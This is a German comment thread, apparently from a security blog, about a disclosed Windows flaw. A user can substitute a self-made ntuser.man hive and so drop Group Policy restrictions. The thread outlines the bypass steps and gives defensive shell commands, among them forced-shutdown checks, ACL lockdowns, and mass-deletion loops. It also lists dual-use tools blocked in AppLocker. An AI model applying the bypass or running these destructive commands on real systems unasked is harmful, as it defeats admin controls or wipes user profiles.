Um den Sicherheitsfehler zu beheben, müssten die Benutzer-Hive-Dateien erstmal in einen separaten Profil-Unterordner mit besonderen Einschränkungen für Benutzer. Zusätzlich dürfte der User Profile Service keine ntuser.man laden, wenn daneben eine ntuser.dat vorhanden ist.
Nach meinem Geschmack sollten die Policies allesamt so ähnlich wie die UsrClass.dat ausgekoppelt werden aber MS wird da nichts mehr machen, der Weg geht zum MDM und fortschreitenden Kontrollverlust.
Und zuallerletzt liest es sich so, als würdest Du Einstellungen und Policies in einen Topf werfen, wahrscheinlich ein Mißverständnis.
NEIIIIIIN.
dem Zimmer fehlt explizit das Recht Write ACL, er ist eben NICHT mehr der Besitzer auf .\policies, diese gehören dem System
Der Besitzer von HKCU\Software\Policies ist eben NICHT der Nutzer sondern SYSTEM, im Gegensatz zu den meisten, aber auch nicht allen, anderen Zweigen. Und nur Administratoren und höher (SYSTEM) haben dort Schreibrechte oder können den Besitz des Zweigs übernehmen. Man kann das grob zusammenfassen als "Ein Nutzer kann in HKCU überall schreiben außer in HKCU\Software\Policies". Es ist ja Sinn der Sache, dass der Nutzer die vom Admin definierten Policies nicht verändern kann.
Insofern habe ich bei Microsofts Aussage nur gedacht "Die kennen ihr eigenes System nicht".
Zum Verständnis: "Lokaler Benutzer" heißt hier nicht ein nur auf dem Client-PC existierendes Benutzerkonto sondern kann auch ein (auf dem Rechner angemeldetes) AD-Konto sein, korrekt?
Kann ich nichts zu sagen, siehe aber meinen Kommentar auf @Gänseblümchen.
ja, die Domänen Benutzer ist per Default User Mapping in der lokalen Gruppe der Benutzer und damit komplett identisch, was die Rechte betrifft
Ja, korrekt. Möglicherweise so gar ausschließlich, wollte schon immer mal ausprobieren, ob ein lokal angelegtes Userkonto bei Anmeldung auch AD-Policies übergestülpt bekommt, irgendwie ist das genauso wiedersprüchlich wie sinnvoll, aber so dringlich war bisher die Kenntnis um die Antwort nicht, auch wenns schnell ausprobiert wäre.
nein. das wird technisch nicht passieren.
1. falscher SOM
2. kein Access
3. Isso
ein beliebiger Benutzer am System ist nur von den Auswirkungen einer Computerrichtlinie beiden
AD Policies nein, aber Local Policies wirken schon.
als wichtiger Hinweis zum Thema Security:
eure komplette Office Härtung liegt im HKCU\Software\Policies Zweig.
jetzt startet das Makro in der alten vermeintlich verbotenen .xls wieder …
das diese Lücke über 25 Jahre unentdeckt war ist das eigentlich spektakuläre am dem Hack.
für alle, die es noch nicht verstanden haben in Kurzform:
1. jeder Benutzer kann über die DLL die eigene Registry lesen
2. in eine ntuser.man im Userprofile exportieren und die .\policies löschen
fertig. das wars.
die ntuser.man wird präferiert anstelle der .dat geladen. gpupdate, der gpsvc schreibt sie Werte in die .dat
Danke für das einleuchtende Beispiel.
Somit sind alle Sicherheitsmaßnahmen Richtinien der Enterprise-Office-Versionen seit 20Jahren eine Farce.
Zum Glück ist mit Windows11 alles sehrviel besser dank neuer PCs jetzt neu mit Sicherheit-Chip TPM2.0 geworden. Und jetzt ganz neu verspricht Microsoft auch noch erhöhte Sicherheit für Windows indem Adminprivilegien reduziert werden!
Alles wird gut :-)
Die meisten Härtungs-Settings in den GPOs für Office stehen im Computers\Administrative Templates\Software\Office und nicht im Users-Zweig. Applocker und SRP findet komplett im Computers-Zweig statt. Und selbst wenn daraus Settings in der Registry in HKey-Current-User landen, und diese verändert werden, findet immer wieder eine Replikation mit den GPOs aus dem AD statt und manipulierte Settings in der Registry werden wieder überschrieben. Ich bin daher noch nicht davon überzeugt, dass diese Geschichte so dramatisch ist, wie das hier dargestellt wird. Warten wir erstmal ab, was internationale Sicherheitsforscher zu der Geschichte sagen.
> Die meisten Härtungs-Settings in den GPOs für Office stehen im Computers\Administrative Templates\Software\Office
Das ist schlicht und ergreifend falsch. Du hast dir nicht mal die Mühe gemacht, die Administrativen Vorlagen zu öffnen.
Dann hättest du schon alleine anhand der Anzahl der Kategorien gesehen, das diese Aussage Quatsch ist.
> findet immer wieder eine Replikation mit den GPOs aus dem AD statt und manipulierte Settings in der Registry werden wieder überschrieben
Richtig. Aber diese landet in der ntuser.dat! Der gpsvc schreibt die Werte nicht in die ntuser.man
Telefon und Autokorrektur … entschuldigt.
Der Punkt, um den es bei dem Hack eigentlich geht und warum das der Horror ist, ist der Punkt, das MS hier die Beurteilung des Hacks nicht ernst nimmt.
Wir beerdigen hier gerade das FUNDAMENT der Gruppenrichtlinien. Historisch von NT4 komment war der wichtigste erste Punkt der Gruppenrichtlinien: Gruppenrichtlinien sind sicher (vor Benutzerzu~ und eingriff).
Warum sind sie im Gegensatz zu Systemrichtlinien (NT4) und Group Policy Preferences (Zukaufprodukt PolicyMaker in Server 2008) sicher?
GPOs sind sicher, weil sie zusätzliche Werte in den HKCU Zweig schreiben unter einem Pfad, wo das SYSTEM der Besitzer ist und ein User nur Leserechte hat und kein Write ACL
Die Werte werden in der UI ausgegraut, das ist ein Feedback System, das ist die Info: Achtung, dieser Wert ist nicht klickbar, da GPO kontrolliert. Das Ausgrauen ist KEINESFALLS! der Schutz. Der Schutz ist der besondere Zweig.
Nächster Punkt: Weil Richtlinien zusätzliche Werte schreiben in einen eigenen Pfad und sie das Orginal nicht verändern, deswegen sind Richtlinien LÖSCHBAR. Man macht nichts kaputt, denn der Wert ist immer zusätzlich im System, das orginal unverändert. Ausnahme, Policies mit dem Icon Pfeil nach unten, das sind Preferences/Einstellungen, keine Policies, auch wenn sie im Knoten der Administrativen Vorlagen liegen.
Wie gesagt, das schockierende an dem Hack ist, das es technisch die Benutzerrichtlinien BEERDIGT.
Euer komplettes Office geht damit den Bach runter. Von Makrosicherheit, über Vertrauenswürdige Pfade, zur Dateivalidierung usw.usw. Wer die ca 350 empfohlenen Richtlinien vom BSI gesetzt hat, kann sie theoretisch wegwerfen.
Es trifft ja nicht nur Härtung, sondern auch Konfiguration, die man aus Komfort Gründen vorgeben möchte.
– setzt das AD offline
– Windows nur noch als Terminalserver Umgebung, ebenfalls offline
– das vergammelte Outlook kommuniziert via ActiveSync nur noch mit dem eigenen Mailgateway
– Im Firefox ist nur der eigene Proxy hinterlegt
fertig… alles weg mitigiert
Sadly: No.
Du hast immer noch Benutzerprofile. Du hast immer noch Registry Werte unter .\Policies. Du hast immer noch eine Möglichkeit der ntuser.man. Du hast immer noch Office (Excel, Word etc) mit Angriffen über alte Dateiformate, die ich jetzt umgehen kann.
Was ist Dein Threat-Modell? Wie jemand anders schon sagte: Es gibt etliche Möglichkeiten, wie ein User in Windows sich selbst ins Knie schießen kann, Daten löschen, auch gemeinsame Daten.
Für mich stellen sich primär die Fragen:
1) Kann ein Skript/Programm von außen reinkommen und das machen? Nein!
2) Kann ein User das für einen anderen User machen? Nein!
SRPs, PKI, Certs-Handling, DNS und IP Settings sind alle in HKLM. Was da irgendein schrottiges Word oder Excel machen, ist mir beinahe schon egal. Outlook schreibt seine IMAP Zugangsdaten auch unverschlüsselt in die Registry, so what?
Ist Windows strukturell kaputt? Ja, keine Frage. Deswegen nutze ich den Scheiß nicht. Deswegen isoliere und segmentiere ich ADs seit Jahrzehnten, setze alles was geht offline und arbeite nur noch mit virtualisierten Terminalservern.
Und weil das hier noch keiner gesagt hat: Sehr gute Arbeit Stefan!
Fatalistisch zu sagen: Alles ist kaputt, offline bin ich sicher ist dein Konzept, kann aber nicht von der Masse der Leute umgesetzt werden.
Das Thread Model ist:
Die wenigsten Kunden haben Software Allowlisting. Sollten sie blablabla, haben sie aber nicht. Sie nutzen alles in Office was es gibt. Letztens noch eine Software in der Hand gehabt, die nur .xls mit einem neuem Office erzeugt.
Natürlich wird der Dreck per Mail versendet. Warum? Weil wir der Masse der Leute Email nicht erklärt haben, sondern vor 25 Jahren vor die Füsse geworfen haben. Attachment Filtering von Office Produkten? Gelächter, das findest du bei den wenigsten.
Der kleinste gemeinsame Nenner ist jetzt vielleicht eine Office Härtung per GPO, was die richtige Version/Edition voraussetzt und jemanden, der denkt: Das kriege ich hin, wohingegen Allowlisting schwierig ist.
Office Richtlinien können richtig gut Dinge verhindern, dafür müssen sie aber sicher sein.
Thread Model:
– Dreck kommt rein per Mail
– Dreck wird lokal an einem Benutzer ausgeführt und verteilt sich lateral zu anderen per Mail, es kommt ja jetzt von einem validen Sender.
– Dreck fliegt dir an Tag X um die Ohren.
Es geht nicht darum, was "du" kannst. Es geht darum, was bei den meisten nicht stattfindet.
Ich bin mir nicht sicher, ob Deine Ausführung jetzt weniger fatalistisch klingt wie meine. zumindest versuche ich meine kleine Scholle sauber zu halten solange ich die Rückendeckung dazu habe.
Ich würde gerne mehr über den täglichen Wahnsinn schreiben aber das wäre bei einer Flasche Bier und einem Lagerfeuer passender als hier in einem öffentlichen Forum.
Entschuldige, du hast Recht. ich bin bei dem Thema vielleicht persönlich zu tief getroffen.
Der Hack erschüttert eine Grundregel, ein Fundament.
Du liegst absolut richtig mit dem Weg des Abschottens, ich würde ihn allen Empfehlen, allein die Praxis zeigt, es nicht so leicht.
"Die wenigsten Kunden haben Software Allowlisting. "
Ich weiß nicht, in was für Firmen ihr so unterwegs seit. Ich war in den letzten 15-20 Jahren als System-Engineer eines bekannten IT-Dienstleisters in der Autombilindustrie, Chemie, Industrieanlagenbau, eine Bank, eine Versicherung, drei Bundesbehörden, Telekommunikation, Maschinenbau, teils fallen die heute unter Kritis, auch wo ich aktuell bin, ein, naja, sagen wir es mal so, Kunde eines Mitbewerbers meiner alten Firma, alle dort verwendeten Applocker oder ich habe es dort etabliert. Außerdem haben viele Antivirus/EDR/XDR-Produkte heutzutage eine Application-Control auf Basis von Softwarekatalogen, wo man noch viel granularer steuern kann, welche Applikationen gestartet werden können, welche nicht – man muss das aber unbedingt miteinander kombinieren, denn die MS-Bordmittel haben einen anderen Ansatz für dieses Themas, das ergänzt sich darüber hinaus prima. MS-Defender kanns nicht, MS verlässt sich hier rein auf Applocker und Device-Guard/WDAC, aber selbst den Defender kann man mit einem Paket von Drivelock (eigentlich bekannt für die Steuerung von USB-Geräten usw) dazu sehr komfortabel ertüchtigen. Ich bin nicht bei kleinen Kunden unterwegs, Handwerkerbuden, der klassische kleine Familienbetrieb, da habe ich keinen Einblick, ich glaube das kleinste AD was ich die letzten Jahre angefasst habe, waren um die 800 Users, aber die Großen machen das mittlerweile alle, das ist jedenfalls mein Eindruck. Die Einführungsprobleme sind aber wahrscheinlich überall die gleichen, vor allem wenn sich Software nicht an die Pfadvorgaben (%program files%) hält und Anwender die dafür erforderlichen Änderungen in der Installation nicht einsieht.
"die Großen machen das mittlerweile alle, das ist jedenfalls mein Eindruck."
Beneidenswert. Da wo ich herkomme, hält man es für state-of-the-art USB-Speicher zu sperren, dafür zu beten, dass der Defender keine Malware durchlässt und wenn der Anwender dann trotzdem seltsamerweise lauter fremde Software in seinem Benutzerprofil hat, sagt man dududu und hofft, dass er es löscht und in Zukunft bleiben lässt.
Oder man schimpft (anderswo) den ganzen Tag auf Windows, von dem man keine Ahnung hat, weil man sich hauptsächlich mit Linux beschäftigt, hat aber trotzdem, keiner weiß warum, ein kaum gepflegtes AD und Windows-Landschaft.
Schau dir einfach mal KMUs unter 500 Benutzern an, wenn du dich gruseln willst.
>Ich weiß nicht, in was für Firmen ihr so unterwegs seit.
Alles, was eine eigene IT Abteilung hat. Die Kunden mit integriertem, gelebtem Applocker kann ich an einer Hand abzählen.
Es wird lieber ein *DR draufgeworfen, als zu administrieren
> das diese Lücke über 25 Jahre unentdeckt war ist das eigentlich spektakuläre am dem Hack.
Müsste älter sein, mit mandantory Profilen habe ich schon in NT4 gearbeitet und und Office gibt es auch seit Anfang der 90er…
Wundert sich eigentlich noch jemand?
In der dicken Windows-95 "Bibel" von Markt und Technik (oder war es Microsoft Press) wurden die Mandatory-Profile beschrieben. Das Buch muss so um 1997 erschienen sein. Da waren die Server definitiv noch NT4-Bleche. Das Buch habe ich noch, steht aber gerade im Bücherregal an einem anderen Ort. Das Design- oder Sicherheits-Problem hat somit schon 30 Jahre auf dem Buckel.
Nachtrag:
Windows 95 ist falsch. User-Profile gibt es erst seit NT4. Somit steht die Beschreibung der Mandatory-Profiles in der NT4-"Bibel".
Gerade diesen lesenwerten Artikel gefunden:
"The history of the Windows user profile in EUC environments (1994-2019)"
https://james-rankin.com/features/the-history-of-the-windows-user-profile-in-euc-environments-1994-2019/
Beschreibt die Funktion und Geschichte der User Profile mit vielen technischen Details.
Richtig: der "Hack" MÜSSTE unter NT4 genau so möglich sein — allerdings unterstützt OFFREG.dll nur Windows 2000 und neuere Versionen, ebenso wie SET /P ‹variable›=‹prompt› nur ab Windows 2000 verfügbar ist.
Apropos "mandatory profiles": auch bei diesen werden Änderungen unter [HKEY_CURRENT_USER] in die Registry-Hive %USERPROFILE%\ntuser.man geschrieben — sie werden nur verworfen, weil das Profil beim Abmelden NICHT zum Server kopiert und beim Anmelden vom Server geladen wird. Sollte dieser allerdings NICHT erreichbar sein, dann wird das auf dem Client "gecachte" Profil erneut verwendet, d.h. nur "super mandatory profiles" sind wirklich "mandatory"!
Da gehts wohl um Server-gespeicherte Profile, was hauptsächlich mit Citrix aufgebaut wird. Eine ntuser.man Datei überlebt da auf den Terminalservern bzw. VDI nicht lange, weil die nach jeder Abmeldung (VDI) oder nächtlichem Reboot (TS) vom Provisioning-Server aus einem zentral gemanagten Image neu in die Comnpuzter-Objekt-Hülle neu reingeschrieben wird. Und selbst wenn eine ntuser.man mit einem Roaming-Profile bei Abmeldung auf einem Fileserver mit den Profilen aller Benutzer landen würde, hätte man ja eine zentrale Stelle, wo man regelmäßig alle X Minuten ein "del /s d:\userprofiles\ntuser.man" rüberjagen könnte.
> das diese Lücke über 25 Jahre unentdeckt war
ok, einigen wir uns auf den 09.04.1999, der Live-Schaltung des ersten AD. Vorher gab es Mandatory Profiles, aber nur Preferences und damit keine geschützten .\Policies.
—
Einig Auto-Korrekturen durch die Hausmeister-AI
Sobald Windows wie mittelfristig geplant über TPM und "alle Software nur noch über den Microsoft Store" komplett vernagelt ist und alle Daten nur noch in der Cloud abgelegt werden, braucht man keine Rücksicht mehr auf irgendwelche Admins oder deren Rechte oder Härtungen nehmen, es gibt sie dann einfach nicht mehr.
Schöne neue Welt, die da kommt.
Also ich mache erstmal pauschal eine Löschung von ntuser.dat Dateien im logoff-Script.
Leider bin ich nicht sicher, ob die Group Policy Engine vor der Skriptverarbeitung einen noch laufenden Angreiferprozess killen würde, der bis zum Schluss ein hartes exklusives File-Lock auf einer bösen ntuser.man zu halten versucht.
Ich schätze aber, schon.
Vielleicht greife ich mich selber mal an wenn Zeit ist.
Oder man nimmt gleich einen Scheduled Task mit Logoff-Event als Trigger und kurzer Wartezeit bzw. Filehandle-Check.
Einfach via Logoff-Skript für Jeden, der nie was mit ntuser.man zu tun haben wird:
del /a /f /q "%USERPROFILE:"=%\ntuser.man"
Ich überlege, via Scheduled Task mit Logon-Event als Trigger sowohl zu warnen als auch mit Systemshutdown zu reagieren, falls eine mir unbekannte ntuser.man gemountet wurde. Lieber Disruption als einen erfolgreichen Angriff.
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist" | findstr /i /c:"\ntuser.man" && shutdown /s /f /t 1
Eventuell kann man als Admin auch "ntuser.man" statt dessen, selbst anlegen, und User-Schreibrechte entfernen.
Ansonsten würd ich statt des Shutdowns erst versuchen via reg-upload die Datei rauszuwerfen, dann zu löschen – ansonsten bist du wenns jemand drauf anlegt, und die datei ggf. nicht gelöscht werden kann in einer Boot-Schleife.
Aber sein wir ehrlich:
Wer das genannte als sein Workarround akzeptiert, hat keinen Grund mehr sich über mögliches Linux-Terminal zu beklagen.
Ich befürchte (wissen tue ich es nicht), dass das in die Hose geht – man will ja nicht den Inhalt von ntuser.man, die Vorrang bekommt, sondern die Policies aus der ntuser.dat.
War auch mein erster Gedanke als Mitigation. Hat das mal jemand mit einer leeren oder kaputten ntuser.man ausprobiert? Kann ja auch eigentlich seitens MS nicht so schwer sein, das obskure Feature zu deaktivieren oder deaktivierbar zu machen.
Bei einer leeren/kaputten ntuser.man kannst du dich nicht mehr anmelden.
Die Idee wäre folgende: das "ntuser.man" vom Admin selbst mit den korrekten Einträgen gefüllt würde, und mit entsprechenden RO-Rechten für User versehen wird. "ntuser.man" greift so immer mit den richtigen Policies.
Dann müssten halt jedesmal neue "ntuser.man" Dateien verteilt werden wenn sich Policies ändern.
Jeder Benutzer kann
CMD.exe /C MKLINK /H "%USERPROFILE%\ntuser.man" "%USERPROFILE%\ntuser.dat"
EINMAL ausführen — danach hat er keinen Zugriff auf die DATEI ntuser.man mehr . Beachte dazu meine weiteren Kommentare, in welchen Fällen ProfileSvc eine ntuser.man zum Anlass nimmt, (Änderungen) ein(es) Profil zu verwerfen.
> Also ich mache erstmal pauschal eine Löschung von ntuser.dat Dateien im logoff-Script.
Tippfehler. In diesem Fall soooo wichtig …
Nimm die ACL Lösung, das kann als Task mit SYSTEM Rechten laufen und alle Benutzerprofile vor der Verwendung schützen.
Oh mann, JA, furchtbar, *hirnklatsch*…
Günther, falls Du das sehen solltest, bitte sei so lieb, ich will natürlich überhaupt nicht Arbeit machen mit sowas.
Mark, ich habe hier Rechner mit einer gewaltigen Softwarelandschaft wo schlimme Programme dabei sind, die auch mal was ins User-Root schreiben wollen, ich möchte darum die "create files" Defaults nicht einschränken, auch wenn ich solche Unaufgeräumtheit hasse wie die Pest.
Ich habe übrigens mit einem Prozess, der ein hartes Filelocking auf die ntuser.man gemacht hat, getestet, der wird gekillt bevor das LogOff-Skript anschließend ganz easy löscht. Immerhin.
Wie der Name schon sagt, ist die "ExcludeProfileDirs" Policy leider nicht gegen die ntuser.man-Datei nutzbar – geht nur mit Verzeichnissen – ich habs trotzdem probiert.
Man merkt übrigens bei Tests mit ungültigen 0KB ntuser.man-Dateien oder ntuser.man-Ordnern auch anschließend, das der User Profile Service gar nichts mehr laden möchte.
Ich empfinde das aber nicht als Angriffsvektor, schließlich kann man ein Profil auch auf subtilere Art zerstören.
Du könntest dir noch den Spaß machen und schauen, wie der 'User Profile Service' reagiert, wenn du statt einer "normalen" Datei oder eines Ordners eine 'Symbolische Verknüpfung' von 'NTUSER.MAN' auf 'NTUSER.DAT' mit 'mklink' oder 'mklink /h' erzeugst und dieser dann die 'Benutzerberechtigungen' entziehst.
(Achtung: 'mklink' ist 'cmd.exe' exklusiv, weil eingebaut. Unter PowerShell muss man stattdessen 'New-Item -ItemType SymbolicLink' bzw. 'New-Item -ItemType HardLink' verwenden!)
Wenn es funktioniert ist einem nicht geholfen, denn dann injeziert man zwar die Inhalte der ntuser.dat aber Änderungen werden verworfen.
Ah OK. Ich dachte, dass die 'NTUSER.DAT' möglicherweise trotzdem geschrieben wird, wenn beide vorhanden sind.
Es bestünde, abgesehen davon, noch die Möglichkeit mit einem Dienst oder einer Aufgabe, die jeweils vor der Anmeldung laufen auf die Datei zu prüfen und entsprechend zu löschen und während der Anmeldung über GPO/GPP eine Schreibgeschützte ensprechend zu platzieren.
Meine Gegenmassnahmen können in der Registry-Hive C:\Users\Default\ntuser.dat als "RunOnce"-Einträge hinterlegt werden — sie benötigen keine Administrator-Rechte.
Ein mit Benutzerrechten laufendes LOGOFF-Skript kann eine vom Benutzer erstellte %USERPROFILE%\ntuser.man NICHT löschen, wenn sie (beispielsweise) mit einer vom Benutzer gesetzten DACL D:P(A;NP;;;;OW) oder D:P(D;NP;;;;OW) versehen ist.
Kurz: vergesst eure Kindereien!
Hallo, nee, bei allem großen Respekt, das ist keine Kinderei, sondern der einfachste Weg in meinem Umfeld, weil bei mir die Profil-Rootpermissions nicht zugenagelt werden sollen, dort schreibt die eine oder andere Software leider mal hin.
Trotz Deiner Beispiele (ich hatte ja selber auch schon rumprobiert) lassen sich die ntuser.man Dateien weiterhin prima löschen, das ist im Profilrootordner ja auch erlaubt.
Gerne probiere ich weitere ganz konkrete "Angreifer-Lockdowns" durch, falls Du konkrete Beispiele hast…
Lege die "Kinderei" nicht auf die Goldwaage, filtere so etwas wech, und zieh den Beef aus Stefans Einwürfen raus – dann kommst Du weiter ;-).
Ich lege einfach CACLS.exe "%USERPROFILE%" /S:D(D;NP;DCWD;;;%SID%)… nach — die Phantasie kennt keine Grenzen!
Danke Dir, dass Du hier so hilfreich dabei bleibst!
Mit ":P" in "/S:D:P(D;NP;DCWD;;;%SID%)" ging das, wurde destruktiv, aber ich verstehe.
Ich muss morgen den richtigen Mittelweg finden.
Ein Shutdown-Script kann das aber, "del /s c:\users\ntuser.man" und das Ding ist oft weg. Per Task-Scheduler kann man das auch abhängig von User-Logon-Events mit SYSTEM Rechten machen lassen. Vielleicht noch ein bisschen Zeitverzögerung durch "ping -n 1o 127.0.0.1" vor dem del-Befehl und schon sind wir auf der sicheren Seite. Das kleine Script muss halt wo liegen, wo es kein User ändern kann.
Ja ich mache das jetzt via Task, der als System läuft und durch Logoff-Scripts startbar ist, wenn bestimmte Kriterien anschlagen. (Ich habe sowieso diverse Putz-Jobs und setze das dazu.)
Dein del Vorschlag würde aufwändig den ganzen Dateibaum abklappern, sähe keine versteckten Dateien und wäre bei (wie von Stefan netterweise erwähnten) Hürden zahnlos.
Das hier ist energischer und holt sich das SeRestorePrivilege. Nimm das "echo." raus wenns ernst wird.
Mache aus %a %%a falls es in einem CMD-Skript laufen soll:
for /f "tokens=*" %a in ('dir /a:d /b C:\Users') do echo.robocopy "%SystemRoot:"=%" "C:\Users\%a" ntuser.man /purge /b
Wurde hier https://es-la.tenable.com/security/research/tra-2020-08 schon 2019 von Tenable an Microsoft gemeldet und von diesen als "expected behaviour" abgetan.
Ok, danke für den Link.
Upps — den kannte ich bisher nicht.
JFTR: https://googleprojectzero.blogspot.com/2025/05/the-windows-registry-adventure-8-exploitation.html wurde nach meinem Hack veröffentlicht.
Hallo Jan,
Danke für den Link, den kannte ich nicht.
Der Proof of Concept ist bei Tenable eigentlich kein PoC, da sie den Hack als als Admin durchführen, aber sie nutzen die Idee der ntuser.man, sie haben einen Schritt vorher aufgehört.
Ich würde meinen, das sie den PoC extra nicht als Benutzer durchgeführt haben.
Spannend.
Stefan, warum hast Du MS nicht Lügen gestraft? Deren Aussage (s.o.) "the ability of a user to write to the HKCU hive does not constitute a violation of a security boundary, as the entire hive is owned by the local user, allowing them to write to it without restriction" ist schließlich falsch. Der Nutzer ist nicht der Owner des Hives. Er hat auch auf HKCU\Software\policies keine Schreibrechte. Somit wird hier eine per ACL auferlegte Grenze gebypassed, ohne wenn und aber.
Jetzt kennst du den Grund für das Full Disclosure. Es gab Mails und es gab Erklärungsversuche, die alle abgetan wurden.
Wenn ich meine es richtig verstehe, ist für MS alles unkritisch, solange es keine Privilege Escalation gibt.
Mark hat das geschrieben, was ich bereits ergänzen wollte – dann aber abgebrochen habe, weil das Muster so ermüdend ist.
Wir haben hier ja keinen Einzelfall, Stefan setzt mich häufig bei seinen Entdeckungen auf cc, und ich bekomme von anderen Sicherheitsforschern ja ähnliches mit.
Es ist immer die gleiche Leier: Antwort vom Microsoft MSRC "Ist kein Privilege Escalation oder Information Disclosure, oder 'work as designed'" und "reached not the margin for immediate action", oder wird nicht geändert.
Am Ende bleibt nur Full Disclosure und schauen, welche Wellen der ins Wasser geworfene Stein wirft. Wird mir zwar wieder angekreidet, aber ich würde sagen "Microsoft hat fertig". Daher auch Cloud – das ist andere Leute sein Rechner mit Software, wo der Kunde nicht mehr dahinter schauen kann – ideal für den Anbieter, wenn alle Welt dort drauf hüpft. Aber die Software wird ja nicht dadurch besser, dass Du nicht mehr siehst, was da abgeht.
Ich erinnere an den Fall, den ich hier im Blog beschrieben habe, dass ein PowerShell-Script von ChatGPT mutmaßlich begann weltweit Tenants zu löschen. Wurde als unglaubwürdig abgetan – habs auf sich beruhen lassen, ich wollte meine Quellen nicht "reinhängen", die hatten genug Stress mit dem Fall.
Nur wenn so was wie Storm 0558 oder Midnight Blizzard-Hacks passieren, reibt sich die Meute verwundert die Augen und fragt staunend "wie konnte das nur passieren?".
Am Ende bleibt mir nur Sarkasmus: Ich liebe Schweizer Käse mit vielen Löchern drin – vielleicht gefällts mir deshalb inne IT ;-).
Wenn Dinge eine Backdoor sind oder als Teile einer Backdoor genutzt werden könnten, dann ist "works as designed" durchaus keine falsche Antwort. Diese Dinge werden oft unterschätzt…
"Microsoft hat fertig"
ABWARTEN. Man kann genug dornige Stöckchen hinlegen, dass ein Angreifer diesen Weg nicht gehen kann, ohne dass es weh tut und er so laut schreit, dass es unser Monitoring hört. Normale Benutzer haben z.B. bei uns keine Möglichkeit, CMD oder PS auch nur zu öffnen. Applocker ist aktiv (versehen mit allen bekannten Ausnahmen unter c:\windows wo Benutzer schreiben dürfen und unser SIEM sammelt bereits die Block-Event-IDs davon zentral ein) und wurde heute zusätzlich mit der Checksum von GPOFFREG.COM für eine Block-Regel versorgt. Gerade durchforste ich sämtliche Scripte, welche priviligierte User ausführen dürfen, ob da irgendwo reg,exe, regserv.exe, cacls.exe, icacles.exe, takeown.exe und noch ein paar andere Dual-Use exen verwendet werden, die ich bisher noch nicht auf dem Radar hatte, um sie – ebenso wie schon länger curl.exe – in Applocker zu sperren.
Niemand hat fertig. Wer das denkt, sollte den Job nicht machen und Gärtner werden.
Übrigens erkennen auf virustal.com bereits 5 AVs GPOFFREG.COM als Malware, mal gespannt, wie schnell das anwächst.
Zu "Microsoft hat fertig" – ich bleibe dabei – war auch mehr intellektuell gemeint – ich vergesse immer, wie es vor 32 Jahren war, in einer Großfirma zu arbeiten – und Microsoft ist ein Großunternehmen mit Wasserkopf. Was den Klump irgendwo am Laufen hält, sind Administratoren bzw. Leute wie Du, die versuchen, genug dornige Stöckchen hinzulegen, dass ein Angreifer diesen Weg nicht gehen kann. Das wird von mir durchaus gefeiert – sonst würde ich den Blog nicht mehr bespaßen!
"Niemand hat fertig. Wer das denkt, sollte den Job nicht machen und Gärtner werden." -> Ich bin auf dem Weg zum Gärtner, jeden Tag ein bisschen mehr, macht auch Spaß. Ok, ok, erwischt – ich gestehe, ich hatte heute einen Rückfall, hab mich mit Nordic Walking verlustiert und war auch mal ganz kurz in Security-Blog-Beiträgen versumpft. Später schlug dann einen Mail von Stefan oder Mark ein "da gibt es noch ein Versäumnis, Du hast versäumt, die Kommentierung zu sperren, das macht ja eine enorme Arbeit, die Hinterlassenschaften der Leute in den Kommentaren gerade zu ziehen". Beschreibt es ganz gut ;-).
"da gibt es noch ein Versäumnis, Du hast versäumt, die Kommentierung zu sperren, das macht ja eine enorme Arbeit, die Hinterlassenschaften der Leute in den Kommentaren gerade zu ziehen."
Mark hat damit natürlich in's Schwarze getroffen — besonders übel ist das AHNUNGSLOSE Geschwafel der mit Schlangenöl gesalbten Kinder mit den Ümläüten im Spitznamen!
Ich halte diese Art Beiträge für sehr überheblich.
zu Kommentierung sperren:
Das war doch einer der besten Blog-Tage der letzten Monate. Spannendes Thema auf höchstem Niveau. Auch die Kommentare von uns (fast) Ahnungslosen, die versucht haben das gelesene zu verstehen und einzuordnen, gehören dazu. Das gerade ziehen durch die Experten hat uns allen geholfen die nicht jeden Tag so nahe am Thema dran sind.
Darum, vielen Dank an die Experten Kanthak und Heitbrink und an den Gastgeber, Chef-Tester und Chronisten Born!
P.S. Die wirklich Ahnungslosen sitzen doch auf der anderen Seite des Atlantik und lassen uns im Regen stehen, oder etwa nicht?
Ob der Beitrag wirklich so gut ist, wird sich zeigen, wenn andere Sicherheitsexperten ihre Einschätzung abgeben. Ich bleib erstmal gelassen, denn hier liegen bereits so viele Stöckchen im Weg, so dass normale Benutzer auf diesem Weg garnicht so weit kommen, ohne dass es auffällt, hoffentlich egal welche Skills sie haben.
Äh. Nein. Ich versuche es nicht überheblich klingen zu lassen, aber dir ist überhaupt nicht klar, was hier gerade passiert und warum es so traurig ist, das MS die Einschätzung aus unserer Sicht falsch macht.
Der Hack ist so gefährlich, GERADE WEIL NORMALE BENUTZER, der klassische Innentäter, ihn ausüben können. Einfach so. Mit ihren eigenen Rechten.
a) da sind keine Stöckchen im Weg
b) natürlich kommt der User bis dahin OHNE DAS ES AUFFÄLLT, da ist kein Logging, kein Alarm.
c) Wenn du die Einschätzung von anderen möchtest, zB von mir: Die Hütte brennt lichterloh.
Hier passiert gerade etwas ungeheuerliches, dein Grundvertrauen in die GPO Infrastruktur wird erschüttert. Du kannst dich jetzt nicht mehr drauf verlassen, das es so ist, wie du als Admin es konfigurierst.
@Mark Heitbrink:
>Hier passiert gerade etwas ungeheuerliches, dein Grundvertrauen in die GPO Infrastruktur wird erschüttert. Du kannst dich jetzt nicht mehr drauf verlassen, das es so ist, wie du als Admin es konfigurierst.
Ehm… Vertrauen? in Windows? Also mein Vertrauen war schon zuvor nicht existent. Die CIA Schutzziele können IMHO bei einem solchen Closed-Source System von einem Hersteller mit diesem Leumund nicht garantiert werden. Aber wer bin ich schon.
Überbewerte die Funktion von GPOs nicht. Ein User kann uach weniger elegant Dateien manipulieren, löschen oder raustragen. Oder noch profaner, Wasser in die Hardware kippen oder oder oder…
Andersrum, die wirklich Ahnungslosen nutzen unternehmenskritische Dienstleistungen von der anderen Seite des Atlantik…
Selbstverständlich habe ich die Aussage des MRSC, der Benutzer könne die Datei ohne Einschränkungen schreiben, umgehend der Lüge gestraft — sie haben die Tatsache, dass ntuser.dat EXKLUSIV geöffnet ist, es also Einschränkungen gibt und der Benutzer die Datei nicht SELBST schreiben kann, mit "share mode constitutes no security boundary" abgetan, und zusätzlich das Kaninchen "der Benutzer kann die DACL ändern und einem Dritten Zugriff gewähren, der die Datei dann bei abgemeldetem Benutzer ändern kann" aus dem Hut ^W^W^W an den Haaren herbeigezogen.
